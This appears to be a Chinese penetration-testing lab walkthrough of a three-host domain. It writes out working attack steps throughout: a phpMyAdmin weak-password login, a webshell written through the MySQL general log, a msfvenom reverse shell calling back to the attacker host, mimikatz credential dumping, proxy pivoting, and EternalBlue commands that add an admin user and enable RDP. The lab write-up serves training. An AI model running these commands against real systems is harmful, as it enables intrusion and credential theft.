靶场下载:漏洞详情
环境搭建:
文件下载下来有三个压缩包,分别对应域中三台主机:
VM1对应win7是web服务器
VM2对应windows2003是域成员
VM3对应windows server 2008是域控
解压后双击文件夹中的,vmx文件即可一键创建虚拟机,登录密码都是hongrisec@2019,2003和2009输入密码后会强制要求改密码
网络配置
win7网络适配器为自定义(VMnet1仅主机模式),再添加一个网络适配器设置为NAT模式;
windows2004,windows2008网络适配器设置为自定义(VMnet1仅主机模式)
攻击机kali设置为NAT模式
此时win7,windows2003,windows server 2008处于同一内网中,攻击机kali只能先拿下win7,在通过win7访问内网进行横向渗透
kali:192.168.106.128
windows 2008:192.168.52.138
windows 7 内网地址: 外网地址:192.168.106.130
windows 2003:192.168.52.141
开启win7中的phpstudy;
外网渗透|信息收集
nmap扫一下,找到win7的ip地址192.168.106.130
继续扫一下win7开放了哪些端口
访问80端口,是一个php探针页面
扫描网站的目录 发现了phpmyadmin
访问phpMyadmin 通弱口令root/root访问到网站的后台
这个时候我们已经想一些思路比如getshell.可以使用mysql上传一句话木马
发现报错了,尝试phpinfo看看
phpinfo因为服务器使用--secure file priv选项运行所以也无法执行语句
试试看能不能通过日志文件来写shell,执行show variables like '%general%';查看一下日志
发现执行成功,我们发现日志功能是关闭的general_log OFF我们可以通过打开日志功能开启后.我们执行过的sql语句都会保存到 C\:phpstudy\mysql\data\stu1.log,我们可以修改保存路径,存到我们指定的文件中
首先我们开启日志功能set global general_log =on;
我们需要把日志文件放到我们可以查看的地方所以我们应该更换日志文件位置到/phpstudy/WWW/shell.php
输入参数set global general_log_file='C:\phpStudy\WWW\shell.php'
这个时候这个日志文件我们尝试是否可以访问
是可以访问的 所以我们执行应一个一句话木马然后尝试连接
访问日志shell.php页面
使用菜刀连接 通过菜刀虚拟终端我们使用命令whoami发现我们是administrators[管理员用户]
内网渗透
查看本服务器的内网ip地址使用ipconfig
本机的内网ip地址为192.168.52.143
使用net config workstation查看当前计算机名称,全名,用户名,以及所在工作站域的名称
该服务器计算机名:\\STU1
计算机全名:stul.god.org
用户名:administrator
工作站域:GOD
工作站域DNS名称:god.org
登录域:GOD
使用net user查询有多少用户
发现有三个用户 查看liukaifeng01是否为管理员用户 使用 net localgroup administrators
发现liukaifeng01也是管理员用户
使用systeminfo查看系统信息,可以确定当前域为god.org,域服务器名称为OWA,并且还打了四个补丁
反弹shell
在kali中我们找到webshell
编辑php-reverse-shell.php 将ip设置为kali的ip地址
打开我们kali的http服务 输入 python SimpleHTTPServer
开启我们的nc监听 因为webshell里面设置的端口是4444 所以我们nc应该监听4444端口 输入参数nc -lvvvp 4444
发现菜刀可以自动让我们上传文件
上传了文件后我们访问此文件
发现nc也连接失败
可能是自己的技术问题,于是我们使用msf渗透框架中的反弹shell,通过msf生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.128 LPORT=6666 -f exe -o shell.exe
我们将shell.exe保存下来
在kali使用msf监听[后期渗透方便] 使用exploit/multi/handler模块进行监听
use exploit/multi/handler
设置自己的参数
set LHOST 192.168.106.128 最后run即可
set LPORT 6666
设置一个payload
set payload windows/meterpreter/reverse_tcp
将shell.exe上传到了靶机
运行shell.exe
MSF监听模块有了回显
使用getuid查看当前用户
使用getsystem升级到system权限
打开3389服务 msf使用run getgui -e
使用meterpreter中mimikatz模块获取密码load mimikatz加载;
The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...这句话大概意思就是说mimikatz已经被kiwi替换
Mimikatz使用
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
service: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌模块
vault: 令牌操作模块
minesweepre:Mine Sweeper模块
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busyloght: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 推出
creds_msv: 获取密码hash值
creds_kerberos: 获取密码明文
使用creds_msv获取密码hash 和 creds_kerberos 获取密码明文
内网渗透
arp -a查看路由表
发现还存在两个主机192.168.52.138和192.168.52.141
添加路由为了访问52网段的主机
run autoroute -s 192.168.52.0/24添加路由
run autoroute -p 查看路由
MSF跳板功能
NSF的跳板功能,MSF框架中自带的一个路由转发功能,实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往"内网"的路由,直接使用msf去访问原本不能直接访问的内网资源,只要路由可达了那么我们就可以使用msf的强大功能
获取目标内网相关信息
run get_local_subnets
获取被攻击目标内网地址网段 /添加去往目标网段的转发路由
run autoroute -s 192.168.52.0/24
扫描有效网卡的整个C段信息 / 查看路由添加情况
run autoroute -p
查看域环境
use incognito
调用劫持域管理模块
list_token -u
内网通道构建--MSF socks
MSF自带内网通道auxiliary/server/socks4a与auxiliary/server/socks5代理模块,当拿到一个msf shell时,即可使用代理模块进行横向操作
原理:Kali攻击机已经拿到Target1的msf shell,需要通过Target1构建通道,访问Target2主机,在Target2中,配置由Apache服务,浏览器访问Yeah,You can access it!
Socks4a代理
实际上还由很多模块
auxiliary/server/socls4a
auxiliary/server/socls5
auxiliary/serversocks_proxy
auxiliary/server/socks_sunc
添加: run autoroute -s 192.1.1.0/24 #添加路由 run autoroute -p #查看路由 默认添加 run post/multi/manage/autoroute
添加了路由后设置参数
use auxiliary/server/socks4a show optinos //详细设置信息 set srvport 117 //设置代理端口 run
首先把session会话放在后台background
设置代理,方便访问内网服务;
use auxiliary/server/socks_proxy
set SRVHOST 攻击机ip地址 //注意:要是执行不成功端口被占用换一个端口就好
修改kali的/etc/proxychains.conf
ProxyChains.conf
ProxyChains是Linux和其他Unices下的代理工具,它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP,SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理,ProxyChains通过一个用户定于的代理列表强制连接指定的应用程序,直接断开接受方和发送方的连接
socks4 127.0.0.1 1080 1080//添加msf监听的代理
由于是双网卡,设置下能不能curl访问内网ip
proxychains curl http://192.168.52.143
可以访问成功,接下来扫一下另外两台主机开启了哪些端口,使用auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set thread 100
run
最后发现两台主机都存在445 135SMB服务D
检测是否存在永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.138
检测出存在永恒之蓝漏洞,不用多说直接上ms
首先想到exploit/windows/smb/ms17_010_eternalblue
发现最后执行失败 尝试使用auxiliary/admin/smb/ms17_010_command模块执行命令
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run
发现可以执行命令
使用ms17_010_command执行一下命令
set command net user lyq djxlyq63 /add
#添加用户
set command net localgroup administrators lyq /add
#添加管理员权限
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
#执行命令开启3389端口,这里要么用单引号把命令引住,要么用反斜杠对反斜杠和引号进行转义,不然会出错
proxychains rdesktop 192.168.52.138
远程桌面连接成功,可以用添加的用户进行登录
使用exploit/windows/smb/ms17_010_psexec
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
//正向代理直接连接拿shell
因为内网的机器没有代理,只能我们通过代理去连接靶机 攻击机--->代理---->靶机 因为靶场没有代理,不能反向连接我们
正向监听:靶机监听,我们去连接靶机
反向监听:我们监听,靶机来连接我们
set rhosts 192.168.52.138
run
然后使用getsystem进行提权,这样域成员的system就拿到了
总结
从web服务器到phpmyadmin mysql的规则show variables like '%general(mysql查询日志)%' PHPmyadmin弱口令root/root mimikatz creds_msv mreds_kerberos 查看路由表arp -a发现网段然后run autoroute -s 网段录入路由 查看路由 run autoroute -p 设置代理连接socks4a socks_proxy等 修改proxychains 第一次渗透内网 所以做一次笔记分享给大家